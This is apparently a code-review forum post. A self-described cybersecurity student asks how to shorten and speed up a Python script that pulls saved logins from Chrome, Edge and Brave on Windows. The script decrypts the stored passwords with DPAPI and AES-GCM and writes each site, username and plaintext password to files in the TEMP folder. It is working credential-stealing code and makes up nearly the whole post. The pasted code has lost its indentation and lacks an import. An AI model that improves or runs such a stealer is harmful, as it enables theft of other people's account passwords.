basically i am new to python lookin for any bad practices done down there in my script, any ways to shrink the code and increase efficiency
import json, os, win32crypt, shutil, sqlite3
from Crypto.Cipher import AES
tmp = os.getenv('TEMP')
usa = os.environ['USERPROFILE']
triple = False
both = False
edb = usa + os.sep + r'AppData\Local\Microsoft\Edge\User Data\Default\Login Data'
cdb = usa + os.sep + r'AppData\Local\Google\Chrome\User Data\Default\Login Data'
bdb = usa + os.sep + r'AppData\Local\BraveSoftware\Brave-Browser\User Data\Default\Login Data'
if os.path.exists(edb) and os.path.exists(bdb):
both = True
if both and os.path.exists(bdb):
triple = True
ckey = usa + os.sep + r'AppData\Local\Google\Chrome\User Data\Local State'
ekey = usa + os.sep + r'AppData\Local\Microsoft\Edge\User Data\Local State'
bkey = usa + os.sep + r'AppData\Local\BraveSoftware\Brave-Browser\User Data\Local State'
def dec(pwd, key):
initv = pwd[3:15]
block = pwd[15:]
cphr = AES.new(key, AES.MODE_GCM, initv)
realAssPass = cphr.decrypt(block)
realAssPass = realAssPass[:-16].decode()
return realAssPass
l = ["LOGIN.db", "LOGIN.txt", "LOGINe.db", "LOGINe.txt", "LOGINb.db", "LOGINb.txt"]
def main(db=cdb, keylocation=ckey, dbName=l[0], fName=l[1]):
cp = shutil.copy2(db, tmp + os.sep + fr"{dbName}")
f = open(keylocation, "r", encoding="utf-8")
local_state = f.read()
local_state = json.loads(local_state)
maKey = b64decode(local_state['os_crypt']['encrypted_key'])
maKey = maKey[5:]
maKey = win32crypt.CryptUnprotectData(maKey)[1]
# gotTheKeyHoe, TimeToDeCode
conn = sqlite3.connect(tmp + os.sep + fr"{dbName}")
cursor = conn.cursor()
cursor.execute("SELECT action_url, username_value, password_value FROM logins")
f2 = open(tmp + os.sep + fr"{fName}", "w")
for i in cursor.fetchall():
site = i[0]
user = i[1]
pas = i[2]
final = dec(pas, maKey)
x = f"[...] User: {user}, Pass: {final}, URl: {site}"
f2.write('\n' + x)
f2.close()
if triple:
main()
main(bdb, bkey, l[4], l[5])
main(edb, ekey, l[2], l[3])
elif both:
main()
main(edb, ekey, l[2], l[3])
else:
try:
main()
except:
main(db=edb, keylocation=ekey)
FYI i am studyin cybersec and came across a script to recover browser passwords, decided to write one myself
Path. \$\endgroup\$